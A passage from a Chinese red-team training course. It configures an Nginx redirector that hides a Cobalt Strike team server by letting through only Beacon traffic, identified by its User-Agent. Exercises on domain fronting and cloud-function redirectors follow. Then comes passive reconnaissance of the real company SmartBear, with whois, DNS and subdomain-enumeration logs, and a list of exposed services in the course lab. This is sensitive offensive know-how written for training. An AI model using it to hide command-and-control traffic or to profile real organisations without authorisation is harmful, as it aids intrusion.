[![image.png](https://raven-medicine.com/uploads/images/gallery/2025-04/scaled-1680-/rDGXZY8PwZuHfjLS-image.png)](https://raven-medicine.com/uploads/images/gallery/2025-04/rDGXZY8PwZuHfjLS-image.png)

**Nginx配置文件**

配置 Nginx 的配置文件 **/etc/nginx/ngix.conf**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/W5oS9cgQKJdDE1PU-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/W5oS9cgQKJdDE1PU-image.png)

```nginx
        server {
                 listen 443;
		 ssl on;
		 ssl_certificate /etc/ssl/certs/public.crt;
		 ssl_certificate_key /etc/ssl/private/private.key;
                 server_name azuresky.live;
                 proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                 location ~*/ {
                         if ($http_user_agent != "Innocent") {  
                         return 403;
                 }               
                 proxy_pass  https://localhost:8443;
                 }
        }


```

**proxy\_set\_header** 这行用于配置 Nginx 转发源 IP

**proxy\_pass** 这行用于将 Nginx 端口的流量转发到 CS 的监听器端口

**location ~\*/** 这里定义了根据 **User Agent** 进行过滤。因为我之前留了一个几乎不可能存在于 Beacon 之外的 UA，很好用于区分是来自 Beacon 的通信，还是其他的客户端。非 Beacon 的通信全部转到403错误页面。

对比图如下

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/DN661NwFchCUCXw1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/DN661NwFchCUCXw1-image.png)

通过这些简单的转发与请求过滤处理，我们不需要将 **HTTPS 监听端口**与**团队服务器的端口**暴露在公网。最后，我们可以通过 SSH 隧道，将 Cobalt Strike 团队服务器的端口映射到自用 Kali 主机上，用于登陆客户端。

# 第2章课后作业

### **练习**

1：根据本章所学，使用 Nginx 搭建一个简易的 C2 基础设施

2：使用 Apache2，搭建一个简易的 C2 基础设施

3：使用 **webbug\_getonly** 作为C2侧写，配置 C2 设施

4：查看工具 c2modrewrite ([https://github.com/threatexpress/cs2modrewrite](https://github.com/threatexpress/cs2modrewrite)) 工具，自动化繁琐的转发器搭建过程。

5：使用 Sourcepoint 工具生成一个自定义的 C2 侧写。

### **拓展**

1：如果有条件，为自己的基础设施注册一个域名，以及申请证书。

2：我们讲了通过 User Agent 过滤非 Beacon 的流量，请尝试用 URL、Cookie 等属性设置过滤。

3：如果有 2 台或更多 VPS，使用 Nginx 配置一个安全的 C2 基础设施，即 1 C2 服务器 + 1 (或更多) 转发器

4：Edgio 平台([https://edgio.app/](https://edgio.app/)) 也可用于配置 CDN 侧写，并且我们发现的那些域名依旧可以作为前置域，有条件的话请尝试探索

5：尝试使用 .NET 或其他语言实现 Azure 函数应用转发器

6：分析【Azure 函数应用转发器】小节中，外部 IP 显示为 127.0.0.1 的原因，并且给出解决方案

7：请丰富我们下载到的 Python 语言的 Azure 函数应用的代码，使其具有请求过滤的功能，例如基于 UA 的过滤。

# 面试专题

1\. 笼统地概括一下怎么可以隐藏 C2 的流量？

2\. 以 Cobalt Strike Http 监听器为例，Beacon 与团队服务器是怎么通信的？

3\. Sliver C2 是如今很热门的开源 C2，请比较一下它与 Cobalt Strike

4\. 使用域前置技术可以实现对 C2 服务器的隐藏，讲讲域前置的原理

5\. 从供应平台的角度，怎么去反制域前置呢？

6\. 除了域前置外，还有哪些更加先进与高级版的类似技术，技术原理是怎么样的？

7\. 各大云平台都有着云函数这样的服务，它是怎么可以帮助我们隐藏 C2 服务器的？

8\. 作为蓝队，怎么样可以反制使用云函数服务转发 C2 流量的战术？

9\. 配置 Cobalt Strike 服务器的时候，有哪些默认设置我们需要去修改？

10\. 从威胁猎人的角度来看，有哪些途径可以找出攻击者的 C2 服务器？

# 章节3：外部侦查



# 目标站点与子域名

## **目标站点与子域名**

在红队行动中，目标站点往往是提供的有限信息之一，例如 raven-med.local，而我们需要从这个点入手。有了目标站点，我们可以进一步枚举其子域名，得到其面向公网的IT资产。考虑到raven-med.local是一个虚构的制造公司，并且该域名尚未被注册，此处我们以SmartBear公司 （[https://smartbear.com](https://smartbear.com)）作为教学案例。

### **目标站点**

对于目标站点本身，我们也是有诸多内容可以做的。需要提醒的是，在当前阶段无需进行主动侦查，例如使用扫描器对目标站点进行目录爆破等，这至少在我们充分进行了被动侦查之后再做。我们发现，该公司是一家计算机软件开发公司，并且我们从图片中可以看到有多个导航栏，例如产品、解决方案、资源、职业生涯等。这些都值得我们手动浏览一遍。这些对于我们有什么意义呢？例如通过了解产品，我们可以得知该公司的产业线。通过了解职业生涯信息，我们可以了解到该公司目前哪些岗位可能有空缺，以及从岗位描述中提取有效信息等等。

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/MLFimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/MLFimage.png)

尽管我们没有使用主动扫描器，但我们依旧可以了解到该站点的一些信息，例如使用 shodan 搜索引擎。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-01/scaled-1680-/P14HTps7xtzHQWfW-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-01/P14HTps7xtzHQWfW-image.png)

此外，我们还可以查询该站点的DNS信息，但需要注意的是，不同的DNS服务器可能返回不同结果。

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/LJkimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/LJkimage.png)

```bash
└─# nslookup smartbear.com        
Server:         8.8.8.8
Address:        8.8.8.8#53

Non-authoritative answer:
Name:   smartbear.com
Address: 65.8.20.55
Name:   smartbear.com
Address: 65.8.20.33
Name:   smartbear.com
Address: 65.8.20.8
Name:   smartbear.com
Address: 65.8.20.128

```

（谷歌DNS返回的结果）

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-01/scaled-1680-/vIQ146RPmqI14ev2-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-01/vIQ146RPmqI14ev2-image.png)

```powershell
PS C:\Users\ntsystem> nslookup smartbear.com
Server:  cdns02.comcast.net
Address:  2001:558:feed::2

Non-authoritative answer:
Name:    smartbear.com
Addresses:  13.225.223.61
          13.225.223.46
          13.225.223.4
          13.225.223.25
```

（Comcast运营商返回的结果）

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/ytSimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/ytSimage.png)

（亚马逊 Route 53 返回的结果）

以及 Whois 查询。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-01/scaled-1680-/icDM0ML1yANfpcLo-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-01/icDM0ML1yANfpcLo-image.png)

```bash
└─# whois smartbear.com                               
   Domain Name: SMARTBEAR.COM
   Registry Domain ID: 100038507_DOMAIN_COM-VRSN
   Registrar WHOIS Server: whois.godaddy.com
   Registrar URL: http://www.godaddy.com
   Updated Date: 2022-09-04T07:44:21Z
   Creation Date: 2003-07-03T18:16:08Z
   Registry Expiry Date: 2025-07-03T18:16:08Z
   Registrar: GoDaddy.com, LLC
   Registrar IANA ID: 146
   Registrar Abuse Contact Email: abuse@godaddy.com
   Registrar Abuse Contact Phone: 480-624-2505
   Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
   Domain Status: clientRenewProhibited https://icann.org/epp#clientRenewProhibited
   Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
   Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
   Name Server: NS-1416.AWSDNS-49.ORG
   Name Server: NS-1701.AWSDNS-20.CO.UK
   Name Server: NS-431.AWSDNS-53.COM
   Name Server: NS-917.AWSDNS-50.NET
   DNSSEC: unsigned
   URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2023-01-06T23:05:28Z <<<

For more information on Whois status codes, please visit https://icann.org/epp

NOTICE: The expiration date displayed in this record is the date the
registrar's sponsorship of the domain name registration in the registry is
currently set to expire. This date does not necessarily reflect the expiration
date of the domain name registrant's agreement with the sponsoring
registrar.  Users may consult the sponsoring registrar's Whois database to
view the registrar's reported date of expiration for this registration.

TERMS OF USE: You are not authorized to access or query our Whois
database through the use of electronic processes that are high-volume and
automated except as reasonably necessary to register domain names or
modify existing registrations; the Data in VeriSign Global Registry
Services' ("VeriSign") Whois database is provided by VeriSign for
information purposes only, and to assist persons in obtaining information
about or related to a domain name registration record. VeriSign does not
guarantee its accuracy. By submitting a Whois query, you agree to abide
by the following terms of use: You agree that you may use this Data only
for lawful purposes and that under no circumstances will you use this Data
to: (1) allow, enable, or otherwise support the transmission of mass
unsolicited, commercial advertising or solicitations via e-mail, telephone,
or facsimile; or (2) enable high volume, automated, electronic processes
that apply to VeriSign (or its computer systems). The compilation,
repackaging, dissemination or other use of this Data is expressly
prohibited without the prior written consent of VeriSign. You agree not to
use electronic processes that are automated and high-volume to access or
query the Whois database except as reasonably necessary to register
domain names or modify existing registrations. VeriSign reserves the right
to restrict your access to the Whois database in its sole discretion to ensure
operational stability.  VeriSign may restrict or terminate your access to the
Whois database for failure to abide by these terms of use. VeriSign
reserves the right to modify these terms at any time.

The Registry database contains ONLY .COM, .NET, .EDU domains and
Registrars.
Domain Name: SMARTBEAR.COM
Registry Domain ID: 100038507_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.godaddy.com
Registrar URL: https://www.godaddy.com
Updated Date: 2016-07-04T05:51:05Z
Creation Date: 2003-07-03T13:16:08Z
Registrar Registration Expiration Date: 2025-07-03T13:16:08Z
Registrar: GoDaddy.com, LLC
Registrar IANA ID: 146
Registrar Abuse Contact Email: abuse@godaddy.com
Registrar Abuse Contact Phone: +1.4806242505
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
Domain Status: clientRenewProhibited https://icann.org/epp#clientRenewProhibited
Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
Registry Registrant ID: Not Available From Registry
Registrant Name: Registration Private
Registrant Organization: Domains By Proxy, LLC
Registrant Street: DomainsByProxy.com
Registrant Street: 2155 E Warner Rd
Registrant City: Tempe
Registrant State/Province: Arizona
Registrant Postal Code: 85284
Registrant Country: US
Registrant Phone: +1.4806242599
Registrant Phone Ext:
Registrant Fax: +1.4806242598
Registrant Fax Ext:
Registrant Email: Select Contact Domain Holder link at https://www.godaddy.com/whois/results.aspx?domain=SMARTBEAR.COM
Registry Admin ID: Not Available From Registry
Admin Name: Registration Private
Admin Organization: Domains By Proxy, LLC
Admin Street: DomainsByProxy.com
Admin Street: 2155 E Warner Rd
Admin City: Tempe
Admin State/Province: Arizona
Admin Postal Code: 85284
Admin Country: US
Admin Phone: +1.4806242599
Admin Phone Ext:
Admin Fax: +1.4806242598
Admin Fax Ext:
Admin Email: Select Contact Domain Holder link at https://www.godaddy.com/whois/results.aspx?domain=SMARTBEAR.COM
Registry Tech ID: Not Available From Registry
Tech Name: Registration Private
Tech Organization: Domains By Proxy, LLC
Tech Street: DomainsByProxy.com
Tech Street: 2155 E Warner Rd
Tech City: Tempe
Tech State/Province: Arizona
Tech Postal Code: 85284
Tech Country: US
Tech Phone: +1.4806242599
Tech Phone Ext:
Tech Fax: +1.4806242598
Tech Fax Ext:
Tech Email: Select Contact Domain Holder link at https://www.godaddy.com/whois/results.aspx?domain=SMARTBEAR.COM
Name Server: NS-431.AWSDNS-53.COM
Name Server: NS-1701.AWSDNS-20.CO.UK
Name Server: NS-1416.AWSDNS-49.ORG
Name Server: NS-917.AWSDNS-50.NET
DNSSEC: unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/
>>> Last update of WHOIS database: 2023-01-06T23:05:44Z <<<
For more information on Whois status codes, please visit https://icann.org/epp

TERMS OF USE: The data contained in this registrar's Whois database, while believed by the
registrar to be reliable, is provided "as is" with no guarantee or warranties regarding its
accuracy. This information is provided for the sole purpose of assisting you in obtaining
information about domain name registration records. Any use of this data for any other purpose
is expressly forbidden without the prior written permission of this registrar. By submitting
an inquiry, you agree to these terms and limitations of warranty. In particular, you agree not
to use this data to allow, enable, or otherwise support the dissemination or collection of this
data, in part or in its entirety, for any purpose, such as transmission by e-mail, telephone,
postal mail, facsimile or other means of mass unsolicited, commercial advertising or solicitations
of any kind, including spam. You further agree not to use this data to enable high volume, automated
or robotic electronic processes designed to collect or compile this data for any purpose, including
mining this data for your own personal or commercial purposes. Failure to comply with these terms
may result in termination of access to the Whois database. These terms may be subject to modification
```

### **子域名**

除了提供的站点外，我们还可以去枚举目标的子域名。因为子域名的数量往往比较庞大，对于企业来说，他们自己可能都不清楚自己有多少子域名，对于那些不常被关照的子域名，往往可能就是最脆弱的地方。对于主域名以及常用的子域名，公司往往即使更新公开服务的版本、修复漏洞，对于那些可能被遗忘的，情况则恰恰相反。枚举子域名的方法既有主动搜集，也有被动搜集。主动搜集例如使用字典来爆破枚举，被动搜集则利用了庞大的OSINT信息。接下来笔者来推荐2款子域名枚举的工具。

#### **Sublist3r**

这是一款老牌子域名枚举工具，经典且可靠。使用方法也很简单，执行命令sublist3r -d \[域名\] 即可。如果我们用其来枚举SmartBear公司的子域名，是这样的：

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/fjZimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/fjZimage.png)

在这些结果中，我们可以找到该公司的VPN域名站点、Staging站点等。

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/CYAimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/CYAimage.png)

#### **OneForAll**

地址：[https://github.com/shmilylty/OneForAll](https://github.com/shmilylty/OneForAll)

这款国产的工具也是很好用的，使用方法也是很简单。在安装完之后，执行命令 **python3 oneforall.py --target \[域名\]** 即可。

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/zKmimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/zKmimage.png)

```bash
└─# python3 oneforall.py --target smartbear.com --fmt json run 

OneForAll is a powerful subdomain integration tool
             ___             _ _ 
 ___ ___ ___|  _|___ ___ ___| | | {v0.4.5 #dev}
| . |   | -_|  _| . |  _| .'| | | 
|___|_|_|___|_| |___|_| |__,|_|_| git.io/fjHT1

OneForAll is under development, please update before each use!

[*] Starting OneForAll @ 2023-01-06 14:58:25

14:58:25,352 [INFOR] utils:523 - Checking dependent environment
14:58:25,353 [INFOR] utils:535 - Checking network environment
14:58:25,519 [INFOR] utils:546 - Checking for the latest version
14:58:25,634 [INFOR] utils:570 - The current version v0.4.5 is already the latest version
14:58:25,635 [INFOR] oneforall:243 - Start running OneForAll
14:58:25,636 [INFOR] oneforall:248 - Got 1 domains
14:58:25,648 [INFOR] wildcard:108 - Detecting smartbear.com use wildcard dns record or not
14:58:25,757 [ALERT] wildcard:123 - The domain smartbear.com disables wildcard
14:58:25,758 [INFOR] collect:44 - Start collecting subdomains of smartbear.com
14:58:25,805 [INFOR] module:63 - QueryMX module took 0.0 seconds found 0 subdomains
14:58:25,830 [INFOR] module:63 - NSECCheck module took 0.1 seconds found 0 subdomains
14:58:25,844 [INFOR] module:63 - QueryNS module took 0.0 seconds found 0 subdomains
14:58:25,846 [INFOR] module:63 - QuerySPF module took 0.0 seconds found 0 subdomains
14:58:25,869 [INFOR] module:63 - QuerySOA module took 0.1 seconds found 0 subdomains
14:58:25,875 [INFOR] module:63 - AXFRCheck module took 0.1 seconds found 0 subdomains
14:58:25,966 [INFOR] module:63 - CertInfo module took 0.2 seconds found 1 subdomains
14:58:25,983 [INFOR] module:63 - SiteDossierQuery module took 0.2 seconds found 11 subdomains
14:58:26,041 [INFOR] module:63 - QueryTXT module took 0.2 seconds found 0 subdomains
14:58:26,090 [ALERT] utils:273 - GET https://transparencyreport.google.com/transparencyreport/api/v3/httpsreport/ct/certsearch?include_expired=true&include_subdomains=true&domain=smartbear.com 404 - Not Found 1611
14:58:26,090 [INFOR] module:63 - GoogleQuery module took 0.3 seconds found 0 subdomains
14:58:26,096 [ALERT] utils:273 - GET https://fullhunt.io/api/v1/domain/smartbear.com/subdomains 401 - Unauthorized 50
14:58:26,096 [ALERT] utils:282 - {'message': 'Unauthorized access', 'success': False}
14:58:26,097 [INFOR] module:63 - FullHuntAPIQuery module took 0.3 seconds found 0 subdomains
14:58:26,099 [ALERT] utils:273 - GET https://jldc.me/anubis/subdomains/smartbear.com 300 - Multiple Choices 2
14:58:26,099 [ALERT] utils:282 - []
14:58:26,102 [INFOR] module:63 - AnubisQuery module took 0.3 seconds found 0 subdomains
14:58:26,122 [ALERT] utils:273 - GET https://www.virustotal.com/ui/domains/smartbear.com/subdomains?limit=40&cursor= 429 - Too Many Requests 181
14:58:26,122 [ALERT] utils:282 - {'error': {'message': 'Please re-send request with a valid reCAPTCHA response in the "x-recaptcha-response" header', 'code': 'RecaptchaRequiredError'}}
14:58:26,125 [INFOR] module:63 - VirusTotalQuery module took 0.3 seconds found 0 subdomains
14:58:26,154 [ALERT] utils:273 - GET https://api.threatminer.org/v2/domain.php?q=smartbear.com&rt=5 500 - Internal Server Error 0
14:58:26,155 [INFOR] module:63 - ThreatMinerQuery module took 0.3 seconds found 0 subdomains
14:58:26,231 [INFOR] module:63 - RiddlerQuery module took 0.4 seconds found 11 subdomains
14:58:26,234 [INFOR] module:63 - RapidDNSQuery module took 0.4 seconds found 144 subdomains
14:58:26,412 [INFOR] module:63 - HackerTargetQuery module took 0.6 seconds found 59 subdomains
14:58:26,438 [INFOR] module:63 - CSPCheck module took 0.7 seconds found 0 subdomains
14:58:26,837 [INFOR] module:63 - IP138Query module took 1.0 seconds found 5 subdomains
14:58:27,004 [ALERT] utils:273 - GET https://searchdns.netcraft.com/?restriction=site+contains&position=limited&host=%2A.smartbear.com&from=1 403 - Forbidden 9000
14:58:27,005 [INFOR] module:63 - NetCraftQuery module took 1.2 seconds found 0 subdomains
14:58:27,195 [INFOR] module:63 - SitemapCheck module took 1.4 seconds found 1 subdomains
14:58:27,268 [INFOR] module:63 - DNSDumpsterQuery module took 1.5 seconds found 58 subdomains
14:58:27,479 [INFOR] module:63 - BingSearch module took 1.6 seconds found 1 subdomains
14:58:27,568 [INFOR] module:63 - CertSpotterQuery module took 1.8 seconds found 68 subdomains
14:58:27,684 [INFOR] module:63 - SogouSearch module took 1.8 seconds found 1 subdomains
14:58:27,998 [INFOR] module:63 - ChinazQuery module took 2.2 seconds found 6 subdomains
14:58:28,049 [INFOR] module:63 - RobotsCheck module took 2.3 seconds found 0 subdomains
14:58:28,124 [INFOR] module:63 - CrossDomainCheck module took 2.3 seconds found 0 subdomains
14:58:28,380 [INFOR] module:63 - GiteeSearch module took 2.5 seconds found 0 subdomains
14:58:28,642 [INFOR] module:63 - CeBaiduQuery module took 2.8 seconds found 0 subdomains
14:58:28,749 [INFOR] module:63 - YahooSearch module took 2.9 seconds found 3 subdomains
14:58:28,965 [ALERT] utils:273 - GET https://api.sublist3r.com/search.php?domain=smartbear.com 523 -  7140
14:58:28,967 [INFOR] module:63 - Sublist3rQuery module took 3.2 seconds found 0 subdomains
14:58:29,026 [INFOR] module:63 - BaiduSearch module took 3.2 seconds found 0 subdomains
14:58:29,066 [INFOR] module:63 - SoSearch module took 3.2 seconds found 1 subdomains
14:58:29,302 [INFOR] module:63 - AlienVaultQuery module took 3.5 seconds found 56 subdomains
14:58:29,347 [INFOR] module:63 - AskSearch module took 3.5 seconds found 2 subdomains
14:58:30,856 [INFOR] module:63 - CrtshQuery module took 5.1 seconds found 155 subdomains
14:58:32,591 [INFOR] module:63 - YandexSearch module took 6.7 seconds found 0 subdomains
14:58:34,317 [INFOR] module:63 - RobtexQuery module took 8.5 seconds found 3 subdomains
14:58:38,971 [INFOR] module:63 - GoogleSearch module took 13.1 seconds found 5 subdomains
14:58:39,419 [ERROR] module:159 - HTTPSConnectionPool(host='www.dnsscan.cn', port=443): Read timed out. (read timeout=13)
14:58:39,419 [INFOR] module:63 - QianXunQuery module took 13.6 seconds found 0 subdomains
14:58:39,678 [INFOR] module:63 - BruteSRV module took 0.3 seconds found 0 subdomains
14:58:39,683 [INFOR] brute:461 - Start running Brute module
14:58:39,684 [INFOR] brute:411 - Blasting smartbear.com 
14:58:39,684 [INFOR] brute:119 - Querying NS records of smartbear.com
14:58:39,714 [INFOR] brute:129 - smartbear.com's authoritative name server is ['ns-1416.awsdns-49.org.', 'ns-1701.awsdns-20.co.uk.', 'ns-431.awsdns-53.com.', 'ns-917.awsdns-50.net.']                                                                                                                                          
14:58:39,714 [INFOR] brute:99 - Querying A record from authoritative name server: ['ns-1416.awsdns-49.org.', 'ns-1701.awsdns-20.co.uk.', 'ns-431.awsdns-53.com.', 'ns-917.awsdns-50.net.']                                                                                                                                      
14:58:39,823 [INFOR] brute:114 - Authoritative name server A record result: ['205.251.197.136', '205.251.198.165', '205.251.193.175', '205.251.195.149']
14:58:39,824 [INFOR] brute:348 - Generating dictionary for smartbear.com
14:58:39,913 [ALERT] utils:686 - Please check whether pirat.smartbear.com is correct or not
14:58:39,916 [INFOR] brute:366 - Dictionary size: 95247
14:58:39,957 [INFOR] brute:442 - Running massdns to brute subdomains
14:59:16,330 [INFOR] brute:197 - Counting IP cname appear times
14:59:16,332 [INFOR] brute:238 - Processing result
14:59:16,335 [ALERT] brute:452 - Brute module takes 36.7 seconds, found 71 subdomains of smartbear.com
14:59:16,341 [INFOR] brute:492 - Finished Brute module to brute smartbear.com
14:59:16,354 [INFOR] resolve:143 - Start resolving subdomains of smartbear.com
14:59:16,375 [INFOR] resolve:166 - Running massdns to resolve subdomains
14:59:19,421 [INFOR] resolve:104 - Processing resolved results
14:59:19,437 [INFOR] resolve:172 - Finished resolve subdomains of smartbear.com
14:59:19,438 [INFOR] resolve:61 - Saving resolved results
14:59:19,452 [INFOR] request:258 - Start requesting subdomains of smartbear.com
14:59:19,453 [INFOR] request:39 - Port range:[80, 443]
14:59:19,456 [INFOR] request:56 - Generating request urls
14:59:19,456 [INFOR] request:217 - Requesting urls in bulk
Request Progress: 319it [01:20,  3.94it/s]                                      
15:00:40,386 [INFOR] request:264 - Found that smartbear.com has 197 alive subdomains
15:00:40,387 [INFOR] finder:23 - Start Finder module
0it [00:00, ?it/s]15:00:40,664 [INFOR] request:217 - Requesting urls in bulk
Request Progress: 148it [00:04, 34.65it/s]                                      
0it [00:00, ?it/s]15:00:45,140 [INFOR] module:63 - Finder module took 4.8 seconds found 0 subdomains
15:00:45,140 [INFOR] module:63 - Finder module took 4.8 seconds found 0 subdomains
15:00:45,141 [INFOR] resolve:143 - Start resolving subdomains of smartbear.com
15:00:45,141 [INFOR] request:258 - Start requesting subdomains of smartbear.com
15:00:45,142 [INFOR] request:39 - Port range:[80, 443]
15:00:45,142 [INFOR] request:56 - Generating request urls
15:00:45,142 [INFOR] request:217 - Requesting urls in bulk
Request Progress: 1it [00:00, 294.67it/s]
15:00:45,147 [INFOR] request:264 - Found that smartbear.com has 197 alive subdomains
15:00:45,148 [INFOR] altdns:203 - Start altdns module
15:00:45,620 [INFOR] altdns:210 - The altdns module generated 167 new subdomains
15:00:45,621 [INFOR] resolve:143 - Start resolving subdomains of smartbear.com
15:00:45,664 [INFOR] resolve:166 - Running massdns to resolve subdomains
15:00:47,222 [INFOR] resolve:104 - Processing resolved results
15:00:47,240 [INFOR] resolve:172 - Finished resolve subdomains of smartbear.com
15:00:47,251 [INFOR] request:258 - Start requesting subdomains of smartbear.com
15:00:47,251 [INFOR] request:39 - Port range:[80, 443]
0it [00:00, ?it/s]15:00:47,253 [INFOR] request:56 - Generating request urls
15:00:47,254 [INFOR] request:217 - Requesting urls in bulk
Request Progress: 97it [01:23,  1.16it/s]                                       
15:02:10,733 [INFOR] request:264 - Found that smartbear.com has 219 alive subdomains
15:02:12,255 [ALERT] export:64 - The subdomain result for smartbear.com: /opt/OneForAll/results/smartbear.com.json
15:02:12,257 [INFOR] oneforall:257 - Finished OneForAll

```

最终，枚举结果会自动保存到 csv 或者 json文件之中。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-01/scaled-1680-/McQW2Ztf1ZlpctnS-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-01/McQW2Ztf1ZlpctnS-image.png)

```json
└─# cat results/smartbear.com.json 
[{"id": 137, "alive": 1, "request": 1, "resolve": 1, "url": "http://academy.smartbear.com", "subdomain": "academy.smartbear.com", "level": 1, "cname": "lu-elb-prod02-ssl-1936357760.eu-west-1.elb.amazonaws.com,lu-elb-prod02-ssl-1936357760.eu-west-1.elb.amazonaws.com,lu-elb-prod02-ssl-1936357760.eu-west-1.elb.amazonaws.com", "ip": "54.155.72.54,34.240.41.94,18.202.131.230", "public": "1,1,1", "cdn": 1, "port": 80, "status": 200, "reason": "OK", "title": "SmartBear Academy", "banner": "nginx", "cidr": "54.155.0.0/16,34.240.0.0/13,18.202.0.0/15", "asn": "AS16509,AS16509,AS16509", "org": "AMAZON-02,AMAZON-02,AMAZON-02", "addr": "\u7f8e\u56fd\u5f17\u5409\u5c3c\u4e9a\u963f\u4ec0\u672c,\u7231\u5c14\u5170Dublin,\u7231\u5c14\u5170Dublin", "isp": "\u4e9a\u9a6c\u900a,\u4e9a\u9a6c\u900a,\u4e9a\u9a6c\u900a", "source": "RapidDNSQuery"}, {"id": 138, "alive": 1, "request": 1, "resolve": 1, "url": "https://academy.smartbear.com", "subdomain": "academy.smartbear.com", "level": 1, "cname": "lu-elb-prod02-ssl-1936357760.eu-west-1.elb.amazonaws.com,lu-elb-prod02-ssl-1936357760.eu-west-1.elb.amazonaws.com,lu-elb-prod02-ssl-1936357760.eu-west-1.elb.amazonaws.com", "ip": "54.155.72.54,34.240.41.94,18.202.131.230", "public": "1,1,1", "cdn": 1, "port": 443, "status": 200, "reason": "OK", "title": "SmartBear Academy", "banner": "nginx", "cidr": "54.155.0.0/16,34.240.0.0/13,18.202.0.0/15", "asn": "AS16509,AS16509,AS16509", "org": "AMAZON-02,AMAZON-02,AMAZON-02", "addr": "\u7f8e\u56fd\u5f17\u5409\u5c3c\u4e9a\u963f\u4ec0\u672c,\u7231\u5c14\u5170Dublin,\u7231\u5c14\u5170Dublin", "isp": "\u4e9a\u9a6c\u900a,\u4e9a\u9a6c\u900a,\u4e9a\u9a6c\u900a", "source": "RapidDNSQuery"}, {"id": 265, "alive": 0, "request": 0, "resolve": 1, "url": "http://accounts.ftr.smartbear.c
```

# 公开服务

## **公开服务**

公开服务，顾名思义，即目标对互联网开放的端口上运行的服务。几乎所有公司都拥有Web服务，我们在上一篇也看到了。除此之外，邮件服务器、VPN门户等往往也是作为公开的服务，虽然很常见，但绝对值得我们一看。如果运气好，就能遇到可以利用的漏洞或者不当配置，例如开启Open Relay的邮件服务器、可能存在绕过认证的VPN登陆界面。

此外，除了上述提到的Web服务、邮件服务器、VPN门户等公开服务，也有一些服务是由于内部人员疏忽而开放的。例如对外开放3389端口，也就是RDP服务的工作站。虽然说暴露 3389 不代表一定会被入侵者们成功利用，但绝对是增加了不必要的攻击面。在Shodan搜索引擎上查看面向公网开放3389端口的服务器，结果多达103W。

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/R36image.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/R36image.png)

而我们案例中的 SmartBear 也将 RDP 暴露在了公网

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/6QQwNRsJTnqDkeo1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/6QQwNRsJTnqDkeo1-image.png)

除了RDP，如果将SMB、WinRM、VNC等、以及一些内部使用的App暴露在互联网上，也都是很危险的。但对于攻击者来说，则是很大的机会。

而在我们的 Lab 中，已知有这些公开服务

### **raven-medicine.org**

#### **Port 21: vsftpd 3.0.3**

把 FTP 暴露在公网，是比较危险的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/xPwaZFXRIqJh6o5M-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/xPwaZFXRIqJh6o5M-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/qzTyNrkaSnvzfnZ6-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/qzTyNrkaSnvzfnZ6-image.png)

#### **Port 80: Apache 2.4.41**

我们可以看到，这是一个搭建在 Apache 2.4.41 的自定义 Web 应用，是企业的首页。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/53uLJDNSr3IfsUyR-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/53uLJDNSr3IfsUyR-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/JpWDm4kAnQJVeT7o-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/JpWDm4kAnQJVeT7o-image.png)

#### **Port 3000: Node.js**

这是一个 Node.js 应用，使用了 Express 框架，看起来是一个内部聊天应用，不应当暴露于公网上，而是在局域网内部访问。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/kAenPZChyVDxe8F3-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/kAenPZChyVDxe8F3-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/I6TlxCb2mnufhbL6-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/I6TlxCb2mnufhbL6-image.png)

#### **Port 8090 未成功识别**

这是 Confluence 应用，主要用于企业内部的 wiki 和文档管理。不应当被暴露在公网，而是通过企业内部网络访问。

